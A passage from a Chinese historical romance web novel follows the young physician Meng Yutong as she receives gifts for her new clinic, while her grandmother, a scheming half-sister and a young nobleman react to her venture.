“那塘是老河道淤塞所成,水深丈余。这次回来,我特意雇了个精通水性的后生下去探摸,果然从那老淤泥里掏出了这两筐宝贝。不知道里头还能不能再掏一些,我急着回来,没再叫人往下。” 孟玉桐望着那张熟悉的纸卷,心中微震。 原来上一世刘思钧与她说的药脉就是这石莲子,他那时就给她指了方位,只是她琐事缠身,一直未来得及去查看那处究竟是什么东西。 不过她知晓刘思钧重情义,他那般郑重同她说明的,定是珍贵之物。后来秋海棠毒发后,她特意记下这处位置让白芷转交祖母,也算没有辜负了他一番用心。 石莲子乃睡莲种子沉埋水底淤泥多年而成,外壳钙化坚硬如石,性味甘涩微苦,能清热止痢、开胃进食,尤擅治久痢、噤口痢。 因其形成需特殊环境与漫长岁月,药铺中多为普通莲子伪充,真正的陈年石莲子极为罕见,价比黄金。 “知道你开医馆,这等好东西定能派上大用场,我特意耽搁了一日,就为给你备这份厚礼。” 刘思钧拍了拍孟玉桐的肩膀,“此物专克湿热泻痢,寻常药铺可寻不着真货。收好了,说不定哪天就是救命的玩意。” 孟玉桐指尖摩挲着那颗饱满的石莲子,只觉入手沉甸甸的,那份量不仅压在掌间,更沉沉地压在心上。 此物太过珍贵,她欲付银钱,却被刘思钧笑着挡回:“玉桐妹子,你这是打哥哥的脸呢。上回若非你相助,我们兄弟几个连人带货都得折在八珍阁,哪还有今日?这点东西,连我刘思钧谢意的零头都算不上。你再提钱,我可要翻脸了!” 他长眉一横,身上那浩然的江湖气便更甚了,好像她不应下,他真的能当场同她断交似的。 孟玉桐望着他,心中感慨万千。无论是上一世,还是这一世,她帮他的并不多,他却始终待她赤诚。 礼物贵重,他的心意更贵重。 孟玉桐心中微暖,恍然忆及上一世。与人交往,往往是她付出的情意多,收到的回馈少。 她并非计较得失之人,但偶尔也会因这不对等而暗自神伤。只是每到夜深人静,她总会默默安慰自己,无妨,真心待人,问心无愧便好。待到下一次,她依然会毫不犹豫地捧出满腔热忱。 这便是从前的她。如今回头再看,那般全然不顾自我的姿态,的确活得很是疲惫。 她不再犹豫,将手中的石莲子轻轻放回竹筐中,抬眸迎上刘思钧的目光,神色郑重,唇角噙着一丝真诚的浅笑:“刘公子言重了。既如此,玉桐便却之不恭,厚颜收下这份厚礼。” 她唤来白芷,吩咐取来几只大口径的陶缸,在缸底厚厚铺上干燥的艾草防潮。 再将石莲子一颗颗仔细擦拭干净,轻轻放入缸中,最后覆上透气的细棉纱布。 两筐石莲子,足足装满了四只陶缸,最后被稳x妥安置在后院阴凉通风的药房深处。 待将那些珍贵的石莲子小心安置妥当,白芷不知从哪儿取出一方通体乌黑、触手温润的木匣,神秘兮兮地递到孟玉桐面前,低声道:“姑娘,这是方才云舟来还伞时,悄悄交给奴婢的。说是纪医官为谢您昨日借伞之情,特意备下的谢礼。瞧着这匣子沉甸甸的,也不知里头装的是什么?” 孟玉桐闻言一怔。昨日不过是借了他两把寻常油纸伞暂避风雨罢了,依纪昀那清冷寡言的性子,竟会特意备下谢礼? 这倒不似他一贯的行事风格。 她心下存疑,接过那方黑木匣,指尖轻扣搭扣,掀开盒盖。 只见盒子里头柔软的内衬之上,安然躺着一本以靛青色绢帛装裱封面的线装书册。 封皮之上,以遒劲端方的墨笔楷书,清晰地题着两个大字——《药理》。 这……这难道就是纪老太爷毕生心血所著、被誉为医家圭臬的那本《药理》? 孟玉桐心头微微一跳。 纪老太爷性情极为严谨苛刻,此书虽早已刊行,他却常因钻研出新见解或验得新方效,而将已发售的书册召回修订重审。如此反复,致使此书在市面上一册难求,被誉为医家学子梦寐以求的珍宝。 她压下心头猝然而起的几分触动,小心翼翼地翻开那绢帛封面。 封面之下,映入眼帘的,并非刊印的工整字体,而是一笔一划、力透纸背的手抄墨迹。 那字迹清峻峭拔,筋骨天然,正是纪昀的字…… 这竟是他亲手誊抄的《药理》全本。 她往后翻动,发现书中竟以朱笔小楷,在不同段落旁密密麻麻地标注了历次修订的增删内容与心得批注,将各个版本的精华悉数收录。 此书用心极深,价值珍贵。 他性子贯来严谨认真,这应是他私下习医时抄录的。 “原来是本医书啊!”白芷也好奇地凑过来看。她虽不通医理,但见孟玉桐眸光湛然、神色珍重无比,便知此物绝非寻常。 她小声评价道:“这字写得可真好看,跟印出来的似的!不过……” 她顿了顿,看向孟玉桐,试探道:“姑娘,您准备收下这份礼吗?方才云舟将此物连同伞一并塞给奴婢,奴婢一时没反应过来就接了。现在想想,总觉得有些不安。您是最不喜欠人人情的性子,何况这……这还是纪公子送的东西。要不,奴婢还是寻个由头,将此物原样送还回去?” 孟玉桐垂着眼睫,就着大堂方向透来的温暖灯火,指尖轻抚过书页上那熟悉又陌生的字迹,已是静静翻阅了好几页。 这本书她印象极深。祖母的书房中也曾藏过一册,似乎也是手抄本。那一本的字迹工整严谨,一丝不苟。她幼时曾机缘巧合偷偷翻看过几眼,立刻被其中精妙深奥的论述所吸引。 可惜很快便被祖母发现,祖母不知怎的,并不喜欢她读这本书,严厉呵斥了几句后便将书锁了起来,她从此再无缘得见。 未能通读此书,始终是她深藏于心的一桩憾事。 此刻听见白芷犹豫着提议将书送还,她指尖微顿,合上书页,将其仔细地放回匣中。她抬起眼,竟是面不改色又颇理直气壮道:“我确是不喜平白欠人人情。不过,他既明言,此乃谢我借伞之意。一借一还,附礼致谢,礼数周全,便也算不得欠人情了。” 说罢,她将木匣轻轻推回白芷手中,吩咐得十分自然:“你且仔细收起来吧。莫要受潮,也莫要磕碰了。” 白芷:“……?” 是这样算的吗?她抱着那木匣,眨了眨眼,总觉得这道理似乎有哪里不太对劲。可与姑娘那坦然的神色一比,倒显得是自己想多了。 孟玉桐却不再看她,只若无其事地理了理微褶的衣角,仿佛刚刚收下的不过是一份再寻常不过的谢礼。 她转身提步,向大堂诊室走去。 她离开的背影瞧上去步履从容,垂在身侧的指尖却无意识地悄然捻了捻。 似是要捻去指尖上残留的几分墨香气。 刘思钧坐下歇脚,与崔大、梅三聊了聊此行见闻。商队其余人等已先行返回秦州,他打算带着崔、梅二人在临安盘桓些时日,看看有无新奇货物可贩。 梅三趁机将今日李璟寻衅、孙大娘闹事的经过说了一遍。 刘思钧听罢,长眉一拧:“果然不出所料,那群腌臜泼才,不敢明着来,专使这下三滥的阴招。留你们俩在此,真是留对了!” “可不是!”崔大成犹自愤愤,“幸亏孟姑娘机警过人,一眼就拆穿了那婆娘的鬼把戏。非但没吃亏,反让她赔了夫人又折兵,自己掏钱来看病,这就叫自作自受!” 孟玉桐用何浩川所赠的浮梁雪毫沏了一壶热茶,室内一瞬间清香四溢,她为众人一一斟上。 刘思钧端起白瓷茶盏,观其汤色清亮,便凑近鼻尖轻嗅,随着茶烟袅袅而起,于是一股清雅兰蕙之气随之沁入心脾。 他浅啜一口,顿觉一股清冽甘爽自舌尖蔓延,初时微苦,旋即化为悠长的甘甜回韵,喉吻生津,烦渴顿消。 他眸光一闪,不由赞道:“好茶啊,清而不薄,香而不艳,苦后回甘,韵味悠长。比起那贡上的龙团凤饼也不遑多让!玉桐妹子,不知这是何仙茗?” “是清风茶肆的浮梁雪毫。”孟玉桐含笑答道。 “妙!妙极!”刘思钧大赞,又豪饮一口,神情极为享受。 崔大成等人也跟着喝了几口,咂咂嘴,只觉比寻常茶水香些,倒也没品出太多门道。 崔大成忽地想起,从怀里掏出昨夜孟玉桐给他的安神香囊,递给刘思钧:“少当家的,孟姑娘知道你常年在外奔波,睡眠最是浅,特意吩咐我给你留了一只,让你试试。” 刘思钧接过那香囊,放在鼻下深深一嗅,一股清幽舒缓的草木馨香钻入鼻腔,仿佛瞬间抚平了长途跋涉的疲惫与浮躁。 他长长舒了口气,由衷叹道:“好!这味道,闻着就让人心定神安!多谢玉桐妹子费心!” 孟玉桐见他喜欢,也笑着回应:“刘公子客气了,比起您送的石莲子,这香囊实在微不足道。” “诶!”刘思钧摆摆手,目光灼灼地看向孟玉桐,面庞上一双眼睛亮得惊人,透着直率与热忱,“咱们江湖儿女,不拘那些虚礼。我看妹子你爽快利落,咱们又这般投缘,不如往后就以兄妹相称如何?你叫我一声刘大哥,我听着舒坦!” 他眼中满是期待,眼巴巴等着她回话,一时间让人难以拒绝。 当下屋中崔大成、梅三等人也笑着起哄:“结拜!结拜!” 刘思钧笑着虚按了下手:“行了行了,别起哄架秧子,没规矩!” 在一片笑声中,孟玉桐终于缓缓点头,唤了一声:“刘大哥。” “哎!”刘思钧立时响亮地应了一声,脸上笑开了花,“好妹子!说好了,从今往后,咱们可就是一家人了!千万别再跟哥哥客气!” 屋外,皎洁的月色悄然漫过屋檐,为照隅堂褐色的屋顶披上了一层朦胧的银纱。 堂内,灯火温暖,茶香氤氲,时不时传出阵阵爽朗的笑语欢声,驱散了夜晚的清寂。 后院井台边,吴林抱着他那副宝贝龟甲,盘膝而坐,仰头望着中天那轮玉盘。 听着前堂传来的热闹人声,他脸上亦是露出一丝淡淡笑意,手指在龟甲上轻轻一点,对着清冷的月色,低声喃喃: “月满中庭,主宾朋相得之兆……嗯,算得不错,大吉大利。” * 四月十六,大雨。 水泽相激,主财源涌动;震雷隐于云,利革新破局。 豆大的雨点砸在孟府松风院的青瓦上,噼啪作响,织成一片白茫茫的水幕。 屋内光线昏沉,孟老夫人江云裳端坐紫檀木圈椅中,就着案头一盏琉璃灯,细细翻阅着近几月的药材账册。 纸页翻动声混着窗外雨声,沉闷压抑。 吴嬷嬷悄声上前,将一件玄色杭绸外裳轻轻披在她肩头,低声道:“老夫人,雨势这般大,今日还要去铺子里查看么?” 江云裳目光未离账本,眉心却蹙紧。 指尖划过一行行墨迹,那些熟悉的药铺名目旁,收购量却日渐变少。三七、黄连、当归……往年紧俏的药材,如今竟也显出滞销之象。 这两月的流水,肉眼可见地又薄了一层。 她心中了然:临安城中,做药材生意的早不止孟氏一家。她性子孤高清冷,不屑钻营逢迎,自夫君过世后,那些维系多年的x老关系渐渐淡去。 新掌权者,谁还认她们这旧门庭? 她无端想起那夜孟玉桐决然请她退婚时所说的话,‘家中生意看似根基犹在,实则如困守孤城,销路日蹙,生机渐萎。’ 她说的的确不错,如今纪家这层姻亲不再,再无法借势盘活这盘僵局。 偌大的家业,竟如老树生虫,生机渐萎了。 她抬眼望向窗外泼天雨幕,雨水涟涟,模糊了庭院景致。 半晌,才淡声道:“去。等雨小些便去。” 账册又翻过一页,她指尖在桌案上无意识地轻叩,忽地问:“她这几日如何了?” 问的是孟玉桐。 自那夜定下赌约,免了晨昏定省,她便对这孙女彻底放手,不闻不问,任其在外折腾。 大半月过去,隐约听闻,那丫头竟真在桃花街将医馆开了起来。 江云裳嘴角极细微地向上牵动了一下。看来这些年教她的这些本事,不算白费。 吴嬷嬷闻言,一拍额头:“瞧老奴这记性!昨夜大姑娘回府,托老奴转交些东西给您。见您已歇下,老奴便收着了。” 她说着,转身便要去取。 江云裳未置可否,指尖敲击桌案的节奏却缓了下来。 不多时,吴嬷嬷捧着东西回来了。身后,却跟着个穿桃粉色褙子的姑娘。 那姑娘低眉顺眼跟在后面,一双细长的眼睛却忍不住滴溜溜四下打量,直到进了内室暖融的光影里,才抬起头,脸上挤出一个略显僵硬的笑容:“祖母,孙女来给您请安了。” 江云裳眼中掠过一丝无奈。 孟玉柔的请安,她多年前就免了。这孩子性子浮躁,又畏她如虎,每回前来都似受刑,她也瞧着碍眼。 可自从她勒令秦姨娘归还柳氏嫁妆后,这丫头便日日雷打不动地来点卯,想必是得了她生母的授意。 来了也无话,干坐半个时辰,如同完成差事。 江云裳只随意摆了摆手,示意她自便。 吴嬷嬷奉上之物,是一只精巧的月白色缎面香囊,并一封折好的信笺。 香囊以月白素缎为底,其上用饱满艳丽的茜红、金橙丝线,绣着一簇怒放的榴花。 花瓣层叠舒展,仿佛能嗅到盛夏阳光炙烤下的蓬勃生气,花蕊以金线点缀,灼灼其华,扑面而来的张扬与热烈,几乎要冲破那素雅的底色。 “老夫人您瞧,”吴嬷嬷笑着捧起香囊,“这是大姑娘新制的安神香囊,说是早些年送您那只药效怕已淡了,特地换了改良的方子重做的。她那照隅堂如今也在卖这个呢!” 她见江云裳目光落在香囊上,眉宇间似有松动,忙又夸道:“您看这榴花绣得多鲜活!大姑娘这绣工,真是精进了不少!” “哼,”江云裳鼻腔里发出一声冷嗤,指尖拂过那榴花饱满的轮廓,“这针脚走势,一看就不是她的手笔。她绣的花,那才叫一个‘惨不忍睹’。八成是她身边那个白芷的功夫,那小丫头倒是有几分巧手。” 语气里是了然,又带着点恨铁不成钢。 吴嬷嬷笑着打圆场:“那也是大姑娘的一片孝心不是?大姑娘就是在这针织女红上差了些火候,旁的,可都是拔尖儿的。” “呵,”江云裳又是一声冷哼,数落起来,“拔尖儿?你说说她哪儿拔尖儿?从小那一手字,写得跟狗爬似的!哪家正经闺秀的字能丑成那样? “还有这针线,更是……唉!”她想起当年为了给孟玉桐挣个好名声,硬是逼着她日日临帖,总算将那笔字扳得能入眼,对外也只夸赞白芷代绣的活计精巧,勉强维系着“端庄贤淑,通晓字画,精于女红”的体面。 这绣工,实在是她心头一块去不掉的疙瘩。 孟玉柔在一旁枯坐,听着祖母与吴嬷嬷的对话,心有不甘。 姨娘叮嘱她要好好表现,让祖母喜欢自己。 此刻见祖母似乎对大姐姐送的香囊不甚满意,便觉机会来了。 她眼珠一转,指着那香囊,声音刻意拔高了几分,带着点天真,听来却刻薄: “祖母说的是呢!大姐姐这安神香囊,怎么绣的却是这般艳俗的大红榴花?看着就不像是专程为祖母准备的样式,倒像是外头随意买来应付的。祖母这般年纪身份,戴着这颜色出去,岂不惹人笑话?大姐姐也太不用心了!” 话音落下,屋内霎时一片沉默。 第43章 四月十六,大雨水泽相激,主财源涌动…… 这石榴花样式的香囊明艳张扬,许是不大适合老人家戴的。孟玉柔这话原也没说错,可孟老太太哪里是一般的老太太。 江云裳和吴嬷嬷心中都清楚,孟玉桐这香囊,应是千挑万选了才定下这个花色送来。 她那样缜密细致的人,又心思聪敏的人,自然知道送什么才能合人心意。 孟玉柔说完那番奚落之言后,松风院内室之中静默良久。 窗外的雨声似乎也小了些,打在屋顶地面,只余淅淅沥沥的残响。 可不知怎的,此刻听来,却仿佛比方才那大雨瓢泼的声响更显聒噪。 江云裳缓缓侧过头,左颊那道旧疤正对着孟玉柔的方向,虽有屋中桌案上琉璃灯昏黄的灯光映衬着,显得缓和几分,却不改深刻凌厉的底色。 孟玉柔被她这般瞧着,忽有几分心虚,挤出一道笑,透出几分直白的讨好。 “哦?”,她一个字轻轻呼出,语调拖长,目光冷冷扫过孟玉柔的脸,面上似乎带上几分讥诮:“你是嫌我老了,不配戴这鲜艳颜色?” “孙女……孙女不是这个意思!”孟玉柔被那目光刺得心头一慌,知道自己这是又说错话了。脸上强挤的笑容瞬间垮塌,慌忙低下头,“孙女只是……只是觉得大姐姐她……她没用心……”声音越说越低,带着掩饰不住的慌乱。 她本就不太会说话,嘴上更是没个把门的,想到什么说什么,贯来又害怕祖母威严。 若不是母亲非要她来,她平日里是最最不乐意来这松风院的。 每每来此,真真是如坐针毡。 吴嬷嬷见屋中气氛凝滞,拿起那张被忽略的信纸,双手递到江云裳面前,笑着岔开话头:“老夫人消消气,您再看看这个。这是大姑娘特意让老奴转交的,说是昨日医馆开张的头一日流水账,请您过个目。” 江云裳的视线这才从孟玉柔身上移开,落在那张薄薄的纸上。纸上字迹清丽秀逸,筋骨内蕴,正是她一手调教出来的簪花小楷,是孟玉桐亲笔无疑。 她接过纸张,目光扫过上面墨迹清晰的条目: 照隅堂首日收支简录:四月十五,丁卯日。 售安神香囊五十三只(含赠二),得钱七两又八百五十文整。 接诊病患孙氏一人:误食巴豆,损伤脾胃(理中汤一剂并后续月余调理之费),收诊金及药费共一千文整。 零星售药:三七粉二两,得钱六十文;当归片半斤,得钱四十文;艾草香包三只,得钱九十文。 共计收入:八两又四十文整。 “哼!”江云裳鼻间逸出一声冷哼,指尖重重戳在“一千文整”那行字上,对着那纸账目斥道:“好大的口气!看个食伤脾胃的小症,便敢收人家一千文?她当自个儿是太医院院判了?还有这安神香囊,究竟定的多少价,五十多只竟卖出去七两?是哪些个冤大头敢买她的香囊?这般不知天高地厚,我看她别去开什么医馆,直接去大街上抢钱的好!” 说着,竟将那纸张“啪”地一声拍在桌案上,震得桌上茶盏轻晃。 孟玉柔被这声响惊得缩了缩脖子,两人一番话听得她云里雾里的,她还是壮着胆子怯生生地问道:“祖母,大姐姐她……这是开了间医馆吗?” 见吴嬷嬷点头确认,孟玉柔只觉喉头一紧,眼前仿佛黑了一瞬。 孟玉桐……她莫不是疯了?放着纪家那样泼天的富贵亲事不要,竟去开什么劳什子医馆?她想干什么?自甘下贱吗?! 难怪这些日子孟玉桐神龙见首不见尾,她两次三番想去杏桃院探问退婚详情,都扑了个空。原来竟是跑去开什么医馆了! 惊愕之余,一丝难以言喻的窃喜又悄然升起。 孟玉桐自小在祖母跟前长大,她与祖母的关系自然比自己要亲密些。 可孟玉桐越是这般离经叛道,自毁前程,岂不越衬得她孟玉柔娴静懂事,循规蹈矩? 祖母那样聪明,迟早会看清谁才是孟家真正能指望的姑娘!到那时,她孟玉桐后悔也晚了! “唉,”她分明喜上眉梢,却故作忧心地摇头叹息,语气里带着x几分虚假的痛心疾首,“大姐姐可真是太不让人省心了!” 孟玉柔似乎天生自带一种奇特的本事,每每开口,总像是未过脑子一般,让人听了只有沉默。 此时,她话音落下后,屋内又再次陷入一片沉默,唯有窗外渐弱的雨声,淅淅沥沥,衬得这沉默愈发分明。 吴嬷嬷眼角抽动了一下,这话……她实在不知该如何接茬,只得垂首敛目,假装盯着脚下地板。 半晌,江云裳像是倦极了,抬手揉了揉额角,目光疲惫地投向孟玉柔:“柔丫头,你自个儿就没点正经事要做么?” 孟玉柔脸上立刻堆起一个温婉得体的笑容,仿佛全然听不懂话中深意,殷切道:“祖母,孙女没什么要紧事,就想在这儿陪着您,给您解解闷儿,尽尽孝心。” 她一边说,一边还往前凑近了些。 “我一会儿要去铺子里查账。”江云裳声音冷淡,且透着几分无力。 孟玉柔连忙接口:“那孙女陪您一道去!正好也能跟着祖母学学看账理家!” “罢了,”江云裳终于失了最后一点耐心,毫不掩饰不耐,直接摆手打断她,“外头雨虽小了,路上却泥泞难行。你这身娇体贵的,一会儿湿了裙角鞋袜,又要哭哭啼啼地闹着回来,反倒平白添乱。你今日的安也请了,孝心我也知晓了,便早些回你的海棠院去吧,让我清静片刻。” 与孟玉柔说话,稍稍绕着点弯子那是不行的。这孩子脑子里似乎缺根筋,非得将话掰开了、揉碎了,明明白白地说到这般地步,她方能恍然——哦,原来是不欢迎我。 孟玉柔还想再表决心,江云裳已阖上眼,疲惫地挥了挥手,连看都不愿再看她一眼。 吴嬷嬷会意,上前一步:“二姑娘,请吧,老奴送您出去。” 孟玉柔只得悻悻起身,起身跟着吴嬷嬷往外走。 出了房门,穿过抄手游廊,她还是忍不住压低声音问:“吴嬷嬷,大姐姐开这医馆……银子打哪儿来的呀?” 吴嬷嬷脚步不停,一听便知道她心中所想,“二姑娘放心,大姑娘没动公中一个铜板,也没向老夫人开口。用的,都是她自个儿的体己钱。” “哦……”孟玉柔恍然,心中冷笑:什么体己钱,定是挥霍她娘柳氏留下的嫁妆。 也好,等她把那些钱糟蹋光了,看她还拿什么撑门面!到时候想从孟家公中再抠银子?门儿都没有! 看她一个身无长物,又整日在外抛头露面的姑娘,将来还能许个什么好人家。 待吴嬷嬷将她送至松风院门口,她又故作不经意地问:“大姐姐那医馆,是叫‘照隅堂’?” 吴嬷嬷在月洞门内站定,只点了点头:“是这名儿,二姑娘慢走。” 说罢便转身折返,不再多言。 等吴嬷嬷渐渐走远了,孟玉柔一踏出月洞门,提起裙角便急匆匆地往海棠院奔去,她得赶紧把这个“天大的好消息”告诉姨娘! 海棠院内,秦姨娘本倚在榻上看书,见孟玉柔着急忙慌地赶回来,忙坐起身,问她出了何事。 听孟玉柔气喘吁吁说完,秦姨娘先是一愣,随即“噗嗤”一声,笑得花枝乱颤:“开医馆?她孟玉桐?哈哈哈!她是魔怔了还是鬼上身了?她会哪门子医术?别给人扎针扎出人命来,她母亲是不在了,到头来还不得老太太给她收拾烂摊子。” 笑罢,她猛地坐直身子,似是忽然想到了什么,脸上笑意瞬间止住,拍着大腿顿足道:“败家啊!她手里那点钱,可不就是她娘的嫁妆!老夫人也是老糊涂了,竟真由着她胡来。那么大一笔钱,放在她一个黄毛丫头手里,能留得住才怪!要是放我这儿……放我这儿……” 她越想越心疼,仿佛那白花花的银子正从指缝里哗啦啦流走,直直绕着屋子疾走了好几圈,连连叹气,心疼得肝儿颤。 孟玉柔凑上前,不解地问:“姨娘,你说她这到底图什么呀?好好的亲事退了,大把的嫁妆钱花了,就为了开一间破医馆?” “管她图什么!”秦姨娘转过头,一把抓住女儿的手,眼中精光闪烁,压低声音道:“她越疯魔越好,这正是你的机会!你这些日子,务必日日雷打不动地去松风院请安,陪老太太说话解闷儿,让她好好看看,谁才是知冷知热、懂事贴心的好孙女。 “让老太太知道,这家里能指望的,只有我的柔儿!等老太太彻底厌弃了她,纪家那边若还有结亲的意思……” 她意味深长地拖长了调子,拍了拍孟玉柔的手背,“这泼天的富贵,还能落到旁人头上不成?到时候,可就是我们柔儿的风光了!” 孟玉柔听得心头发热,用力点头,“姨娘放心,女儿一定加倍用心,日日都去祖母跟前服侍,让祖母打心眼儿里喜欢我!” 母女俩凑在一处,又不知嘀咕了些什么,只听得屋内不时传出阵阵轻笑,听来十分开怀。 窗外的雨又大了一阵,豆大的雨点噼啪砸在青瓦上,渐渐淹没海棠院内的人声。 待几个时辰过去,雨势终于彻底转小,整个临安城似是从水里浸了一番,润泽而清雅。 细密的雨丝轻柔地落入望仙桥下流水中,荡起淡淡涟漪。 此时正是半日午后,清风茶肆二层雅间中,临窗的雅座迎来了一群衣着光鲜、谈笑风生的贵介公子。 几人点了茶肆中最上等的茶水并几样精巧茶点,临窗而坐,凭栏听雨,也有几分附庸风雅的架势。 时下文人雅士推崇“四艺”:读书、写字、画画、烹茶。 李璟这群人文墨不通,学艺不精,与前几样是沾不上半点边的,唯独对这“品茗”一道,尚能装点一二。 闲来无事,聚在清风茶肆,叫一壶好茶,天南海北胡侃一通,便也自诩为风雅人物了。 而这细雨霏霏之日,于茶肆之中听雨品茗,更被他们视为一件难得的雅事。 物以类聚,人以群分。 能与荣亲王世子玩到一处的,自然多是些倚仗祖宗荫蔽、整日里斗鸡走马、醉生梦死的纨绔膏粱。 不过,这群人中倒也并非全是浑噩度日之徒。其中,礼部尚书之子窦志杰便是个例外。他在光禄寺珍馐署担着个主事的职缺。 这光禄寺掌宫廷膳食、祭飨宴劳之事,珍馐署更是专司各类珍稀食材的采买与供奉,虽非中枢要职,却是个实打实的油水丰厚、事务清闲的肥差。 这等位置,非深得圣心或背景深厚者难以染指,窦志杰能跻身其中,足见其家世显赫与手段圆滑。 除却窦志杰,李璟在这群狐朋狗友里,竟也算得上是个“有出息”的。 至少家中费心在医官院给他谋了个掌药奉御的闲职,他隔三差五还会去点个卯,应付些微末差事,说出去尚且还有些脸面,不算彻头彻尾的废物。 其余几个,那才是真真的无所事事,只知吃喝享乐之辈。故而这一行人出门,向来是以窦志杰和李璟二人为首是瞻。 雅间内,茶香袅袅。何浩川早已熟识这几位出手阔绰的常客,如常上前,笑容满面地殷勤招呼。 他腰间那只绣工精巧、药香清冽的香囊颇为醒目,立刻被席间一人瞧见,指着笑问是何物。 何浩川立时精神一振,口若悬河地将那安神香囊的诸般妙处:譬如选料如何精良、配伍如何讲究、安神助眠之效如何显著等等……滔滔不绝地宣讲起来。 他这番话已说了不下十遍,早已滚瓜烂熟,如今闭着眼睛便能将那安神香囊的妙处夸得天花乱坠。 众人听了,见他说得头头是道,倒真显露出几分意动。 一位身着宝蓝色织金锦袍、面容白皙、眉眼利落地公子正是窦志杰,他抚掌笑道:“听着倒是个好东西!我白日里若多饮了两盏茶,夜里便跟烙饼似的翻来覆去,次日起来精神萎靡,家母见了总疑我夜半出去鬼混,真是百口莫辩!” “价钱也不甚贵,”另一人接口道,“左右无事,不如一会儿就去那照隅堂瞧瞧?若真有效,买上几只也无妨。” 众人纷纷附和,唯李璟端坐一旁,默不作声,只将面前茶盏一盏接一盏地往嘴里灌。 “明远兄,”窦志杰用折扇敲了敲桌面,奇道,“今日怎的成了锯嘴葫芦?这可不似你平日作风!” 李璟摇摇头,声音有些闷:“你们自去便是,我就不x去了,没甚兴趣。” 他目光投向窗外,透过迷蒙雨雾,正瞧见照隅堂门前,一抹淡紫色的身影正与身旁丫鬟说着话。 烟雨朦胧,人影绰约,瞧不真切,却莫名让他脸上腾起一股燥热,胸中翻涌起难以言喻的羞愤与懊恼。 昨日从照隅堂狼狈离开后,他径直奔入八珍坊,揪住了伙计阿昌。 郑辉不在,他稍一厉色威吓,阿昌便竹筒倒豆子般,将那伙秦州游商如何被郑辉哄骗签下阴阳契,被逼无奈才设计取回契书连夜逃离的始末,原原本本吐露出来。 他这才知道,照隅堂中那两个黑脸糙汉所言非虚。 他一直以为是那群外乡奸商设局坑骗他李家产业,孟玉桐亦是同流合污、狡诈卑劣之徒。 可事实却是,他李璟才是那个仗势欺人、助纣为虐的恶霸! 他堂堂荣亲王世子,长这么大虽也荒唐,却从未刻意欺凌过弱小,尤其是女流。 回想这几日对孟玉桐使的绊子、纵容郑辉做的恶事……桩桩件件,简直令人发指! 他有那么一两分的亏心,更觉无颜再见孟玉桐。 可叫他认错?那是万万不可能的。 思来想去,唯有日后见了照隅堂、见了孟玉桐,绕道而行,只当陌路,方能保全他那点可怜的颜面。 “真不去?”同来的几位犹不死心,极力撺掇。 李璟大方,素来是他们的“财神爷”,吃喝玩乐多是他掏腰包,今日他若不去,岂非少了个冤大头? 李璟被他们吵得心烦,不耐地挥挥手:“说了不去!你们看上什么只管买,账都记我名下便是!” 得了这句,众人这才眉开眼笑,不再纠缠。又闲坐饮了会儿茶,便嘻嘻哈哈地起身,直奔对面的照隅堂而去。 临下楼前,李璟像是忽然想起什么,冲着几人的背影扬声喊了一句:“诶!那……那劳什子香囊,顺手也给我捎一个回来!” 话音刚落,他自己倒先觉得臊得慌,飞快别过脸去,佯装专注地赏起雨来。 雅间内只剩下李璟一人。他索性挪到正对窗子的位置坐下,目光不由自主地追随着那群狐朋狗友的身影。 只见他们进了照隅堂,过了好一阵才出来。孟玉桐亲自将他们送至门口,几人手中都捏着两三只香囊,脸上是掩不住的满意笑容,隔着雨幕都能感受到那股快活劲儿。 李璟下意识地伸长脖子,目光越过人群,落在那抹淡紫色的身影上。 雨气氤氲,将她晕染得如同水墨画卷中一抹朦胧而灵动的烟霞。她似乎在笑,那笑容隔着雨帘看不真切,却莫名让他更想看清楚。 她究竟是个怎样的女子? 初时以为是个攀附权贵、挟恩图报的庸脂俗粉,可她却干脆利落地退了纪家那桩旁人求之不得的婚事。 后来认定她是个心机深沉、与奸商同流合污的蛇蝎妇人,可真相却并非如此,是他错得离谱。 如今远远瞧着,她容颜清丽,行事果决,临危不惧,处变不惊……竟是个难得一见的、有胆有识的奇女子? 李璟被自己脑海中陡然冒出的这些念头惊得一震,霍然从座位上站起,心绪烦乱地欲去围栏边透口气。 岂料刚一站定,目光便猝不及防地与楼下正欲转身回馆的孟玉桐遥遥撞了个正着! 李璟几乎是瞬间弹开,脚步慌乱地冲下楼梯,一头扎进茶肆一楼喧嚣的人群里,心中砰砰乱跳个不停。 恰在此时,那群去买香囊的同伴正好嬉笑着回来。窦志杰见他下来了,扬手便将一只墨绿色的香囊抛入李璟怀中。 “明远!兄弟够意思吧?”窦志杰促狭笑道,“我可是特意跟那位孟掌柜说了,是咱们尊贵的李世子要挑香囊,让她务必拿出店里最好的! “人家可是千挑万选,最后才给了这只,说这图样寓意极好——‘灵龟献寿,守心固元’!最适合世子爷这等贵人修身养性了!” “谁让你多嘴说是我要了!”李璟脸上臊热更甚,嘴上斥责着,手却下意识地接住香囊,心头竟隐隐掠过一丝莫名的期待。 他低头,手指无意识地摩挲着光滑的锦缎,翻过香囊细看。 只见那墨绿色的底子上,用金棕、赭石丝线绣着一只憨态可掬的乌龟。 那龟儿正伸长脖颈,圆圆的小脑袋微微侧着,一双豆粒般的眼睛好奇地左顾右盼,四只小短腿憨憨地支棱着,仿佛下一刻就要慢悠悠地爬动起来,当真是只憨货。 李璟盯着袖中这只“憨货”,脸色隐隐发黑。 她……该不会是特意精挑细选了这么一只香囊,拐着弯骂他是“王八”吧? 王八?! 一股无名火倏地窜上心头,他捏紧了掌中香囊。 这孟玉桐,当真是睚眦必报,毫无半点闺阁女子应有的温婉大度! “啧,”他撇撇嘴,将香囊往桌上一丢,语气刻意带上十二分的嫌弃,“方才吹得天花乱坠,如今瞧着,也不过尔尔,平平无奇得很。” 一旁的同伙见状,立刻伸手去抢:“明远兄既瞧不上,不如让给小弟?” 李璟见状眼疾手快,“啪”地一下拍开那只手,顺势将香囊攥回手中,没好气道:“去去去!小爷我花了钱的!” 话音未落,已飞快将那墨绿锦囊塞进了袖中。 众人又是笑闹一阵,见他不接茬,便觉无趣,一行人又上楼去准备继续品茗了。 只余李璟在原地呆愣了许久,过了好一阵才堪堪回过神来。见那几人都上了楼去,他复又将袖中香囊取出,左右翻转着细细看了看,嘴上仍是嫌弃着:“这女人也是奇也,没见过谁家卖香囊的还往上头绣乌龟的。” 眉眼间却不自然地松泛下来,瞧上去倒像是有几分欢喜。 窦志杰见他久久未上来,从楼梯处探身往下,喊了他一声:“明远兄,怎的还不来?” 李璟眉头一跳,匆匆将香囊收入袖中,状似若无其事回身:“急什么!这就来了!” 窦志杰的视线从他袖中远远一掠,见他应了声往回走,便等了他几步,两人一起回到雅间坐下。 落座后李璟瞧着有些心不在焉,视线总是不住地往窗外飘。 